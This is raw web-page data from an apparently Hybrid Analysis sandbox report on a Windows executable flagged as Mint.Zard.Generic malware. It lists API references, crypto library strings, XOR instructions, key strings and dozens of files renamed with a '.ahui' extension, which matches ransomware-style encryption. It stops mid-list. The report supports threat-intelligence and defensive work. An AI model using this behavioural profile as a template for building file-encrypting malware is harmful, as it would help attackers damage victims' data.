24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 69:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T491,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Mint.Zard.Generic Sample 43f8d4826299… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 43f8d4826299…. Malware family: Mint.Zard.Generic. Threat score 100/100. 22/25 AV engines flagged this file. 13 malicious and 22 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2","keywords":["Malicious","Mint.Zard.Generic","malware analysis","sandbox report","threat intelligence","43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","executable"],"identifier":"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Mint.Zard.Generic","antivirusDetections":{"malicious":22,"total":25},"behavioralIndicators":{"malicious":13,"suspicious":22},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T95e,Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")26:T4f4,Found reference to API "CreateThreadpoolTimer" (Indicator: "CreateThread"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "CreateThreadpoolWait" (Indicator: "CreateThread"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")27:Ta33,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003720.00000000.155055.00401000.00000020.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005260.00000000.155704.00401000.00000020.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00005660.00000000.157622.00401000.00000020.mdmp") Found reference to API "FreeLibraryWhenCallbackReturns" (Indicator: "FreeLibrary"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.04CC0000.00000004.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00006816.00000002.160006.04CC0000.00000004.mdmp")28:T13fa,file/memory contains long string with (Indicator: "RC2"; File: "FileSync.LocalizedResources.dll.mui") file/memory contains long string with (Indicator: "Oid"; File: "cli-64.exe") file/memory contains long string with (Indicator: "SHA384"; File: "pyexpat.pyd") file/memory contains long string with (Indicator: "HMAC"; File: "win32net.pyd") file/memory contains long string with (Indicator: "Oid"; File: "memtest.efi.mui") file/memory contains long string with (Indicator: "Oid"; File: "win32profile.pyd") Found reference to "DlSHA512 block transform for x86, CRYPTOGAMS by " (Indicator: "SHA512"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "HMAC routines" (Indicator: "HMAC"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "HMAC_Init_ex" (Indicator: "HMAC"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "RC2_MAGIC_TO_METH" (Indicator: "RC2"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "RSA-SHA384" (Indicator: "SHA384"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "RSA-SHA512" (Indicator: "SHA512"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "SHA384" (Indicator: "SHA384"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "SHA512" (Indicator: "SHA512"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "HMAC-MD5" (Indicator: "HMAC"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "HMAC-SHA1" (Indicator: "HMAC"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "ecdsa-with-SHA384" (Indicator: "SHA384"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "ecdsa-with-SHA512" (Indicator: "SHA512"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "hmacWithSHA384" (Indicator: "SHA384"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "hmacWithSHA512" (Indicator: "SHA512"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "id-HMACGostR3411-94" (Indicator: "HMAC"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "HMAC GOST 34.11-94" (Indicator: "HMAC"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "RC2-CBC" (Indicator: "RC2"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "RC2-ECB" (Indicator: "RC2"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found reference to "RC2-CFB" (Indicator: "RC2"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp")29:T21dd,"43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\bootTel.dat" to "C:\bootTel.dat.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\file00000003.chk" to "C:\found.000\file00000003.chk.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\$filehashes$.dat" to "C:\found.000\dir0001.chk\$filehashes$.dat.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-onecore-a..ktop-fod-deployment_31bf3856ad364e35_10.0.17134.1_none_1acd90a93eb8e614.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-onecore-a..ktop-fod-deployment_31bf3856ad364e35_10.0.17134.1_none_1acd90a93eb8e614.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-aphostservice_31bf3856ad364e35_10.0.17134.1_none_61f1e11b4ca3c826.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-aphostservice_31bf3856ad364e35_10.0.17134.1_none_61f1e11b4ca3c826.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_a4eb99a65ff11c83.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-activesyncprovider_31bf3856ad364e35_10.0.17134.1_none_a4eb99a65ff11c83.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_1dd2d143d2732a0b.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..-syncutil.resources_31bf3856ad364e35_10.0.17134.1_en-us_1dd2d143d2732a0b.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_162eb33a1e7e3c6b.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_cs-cz_162eb33a1e7e3c6b.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_b368936114c4386a.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_da-dk_b368936114c4386a.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_b094289d169a8d04.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_de-de_b094289d169a8d04.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_592a563005aff592.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_el-gr_592a563005aff592.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_5984fe96057898c9.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_en-us_5984fe96057898c9.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_59505b7a059f8a6e.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_es-es_59505b7a059f8a6e.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_f86b6026fab97c98.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fi-fi_f86b6026fab97c98.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_fc07d178f871a0d0.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_fr-fr_fc07d178f871a0d0.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_437851c0dcd16fec.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_hu-hu_437851c0dcd16fec.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_e62fc7bfcfa3864e.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_it-it_e62fc7bfcfa3864e.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_885546ccc2be9829.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ja-jp_885546ccc2be9829.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_2bbf2381b52f5f3f.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ko-kr_2bbf2381b52f5f3f.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1451a4b68d548afb.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nb-no_1451a4b68d548afb.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1290eff48e8094d0.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_nl-nl_1290eff48e8094d0.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_58cd4a7673a30284.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pl-pl_58cd4a7673a30284.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_5b21351a722c9668.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-br_5b21351a722c9668.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_5c030486719c0644.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_pt-pt_5c030486719c0644.manifest.ahui" "43f8d48262990c633247fe9940ce1af9268ef44f1e1a7d9a865c8df69710d4f2.exe" renamed original file"C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_a2a6164a567d9470.manifest" to "C:\found.000\dir0001.chk\amd64_microsoft-windows-m..aphostres.resources_31bf3856ad364e35_10.0.17134.1_ru-ru_a2a6164a567d9470.manifest.ahui"2a:T13f0,Assembly shows XOR instruction xor eax ebp in Stream UID: 17336-92-00409F81 Assembly shows XOR instruction xor ecx ebp in Stream UID: 17336-92-00409F81 Assembly shows XOR instruction xor eax ebp in Stream UID: 17336-176-00405A98 Assembly shows XOR instruction xor ecx ebp in Stream UID: 17336-176-00405A98 Assembly shows XOR instruction xor al 4Ah in Stream UID: 17336-335-0040ED48 Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00006816-25957-2824-004C28F0 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00006816-25957-2824-004C28F0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006816-25957-29-0042A57A Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006816-25957-29-0042A57A Assembly shows XOR instruction xor eax esp in Stream UID: 00000000-00006816-25957-259-00454AE0 Assembly shows XOR instruction xor ecx esp in Stream UID: 00000000-00006816-25957-259-00454AE0 Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006816-25957-619-0043887D Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006816-25957-17-00427FAE Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006816-25957-17-00427FAE Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006816-25957-47-00432553 Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006816-25957-671-00427D6C Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006816-25957-668-004324F7 Assembly shows XOR instruction xor byte ptr [edx] al in Stream UID: 00000000-00006816-25957-668-004324F7 Assembly shows XOR instruction xor byte ptr [edi+60h] ah in Stream UID: 00000000-00006816-25957-668-004324F7 Assembly shows XOR instruction xor byte ptr [edi+00007460h] al in Stream UID: 00000000-00006816-25957-668-004324F7 Assembly shows XOR instruction xor dword ptr [ebx-6CB58F8Dh] edx in Stream UID: 00000000-00006816-25957-668-004324F7 Assembly shows XOR instruction xor eax A3107456h in Stream UID: 00000000-00006816-25957-668-004324F7 Assembly shows XOR instruction xor byte ptr [edx] cl in Stream UID: 00000000-00006816-25957-668-004324F7 Assembly shows XOR instruction xor byte ptr [ebx+74h] 10h in Stream UID: 00000000-00006816-25957-668-004324F7 Assembly shows XOR instruction xor byte ptr [esi-0Ch] ah in Stream UID: 00000000-00006816-25957-668-004324F7 Assembly shows XOR instruction xor eax dword ptr [ebp-0Ch] in Stream UID: 00000000-00006816-25957-657-004321A1 Assembly shows XOR instruction xor dword ptr [ebp-04h] eax in Stream UID: 00000000-00006816-25957-657-004321A1 Assembly shows XOR instruction xor ecx dword ptr [ebp-14h] in Stream UID: 00000000-00006816-25957-657-004321A1 Assembly shows XOR instruction xor ecx dword ptr [ebp-04h] in Stream UID: 00000000-00006816-25957-657-004321A1 Assembly shows XOR instruction xor ecx eax in Stream UID: 00000000-00006816-25957-657-004321A1 Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006816-25957-94-00438908 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006816-25957-600-0044D4BA Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006816-25957-600-0044D4BA Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006816-25957-300-00433E00 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006816-25957-300-00433E00 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006816-25957-185-0042E003 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006816-25957-185-0042E003 Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006816-25957-50-00432534 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006816-25957-626-004230C5 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006816-25957-626-004230C5 Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006816-25957-618-00438805 Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006816-25957-601-004386C2 Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006816-25957-40-0043263E Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006816-25957-170-004211DD Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006816-25957-170-004211DD Assembly shows XOR instruction xor eax dword ptr [0050AD20h] in Stream UID: 00000000-00006816-25957-667-00432515 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006816-25957-260-004549A0 Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006816-25957-260-004549A0 Assembly shows XOR instruction xor eax ebp in Stream UID: 00000000-00006816-25957-453-0042A89E Assembly shows XOR instruction xor ecx ebp in Stream UID: 00000000-00006816-25957-453-0042A89E2b:T1348,file/memory contains long string with (Indicator: "private key"; File: "_readme.txt") Found string "PUBLIC KEY" (Indicator: "public key"; File: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "Private Key" (Indicator: "private key"; File: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") file/memory contains long string with (Indicator: "public key"; File: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "ANY PRIVATE KEY" (Indicator: "private key"; File: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "ENCRYPTED PRIVATE KEY" (Indicator: "private key"; File: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "PRIVATE KEY" (Indicator: "private key"; File: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "Public Key" (Indicator: "public key"; File: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "Subject Public Key Info:" (Indicator: "public key"; File: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "%12sPublic Key Algorithm:" (Indicator: "public key"; File: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "%12sUnable to load Public Key" (Indicator: "public key"; File: "00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "RSA PRIVATE KEY" (Indicator: "private key"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "RSA PUBLIC KEY" (Indicator: "public key"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp") Found string "PUBLIC KEY" (Indicator: "public key"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.05AA0000.00000004.mdmp, 00000000-00006816.00000002.160006.00400000.00000040.mdmp, 00000000-00006816.00000002.160006.05AA0000.00000004.mdmp") Found string "DSA PRIVATE KEY" (Indicator: "private key"; Source: "00000000-00006816.00000000.156167.00400000.00000040.mdmp, 00000000-00006816.00000001.158086.00400000.00000040.mdmp, 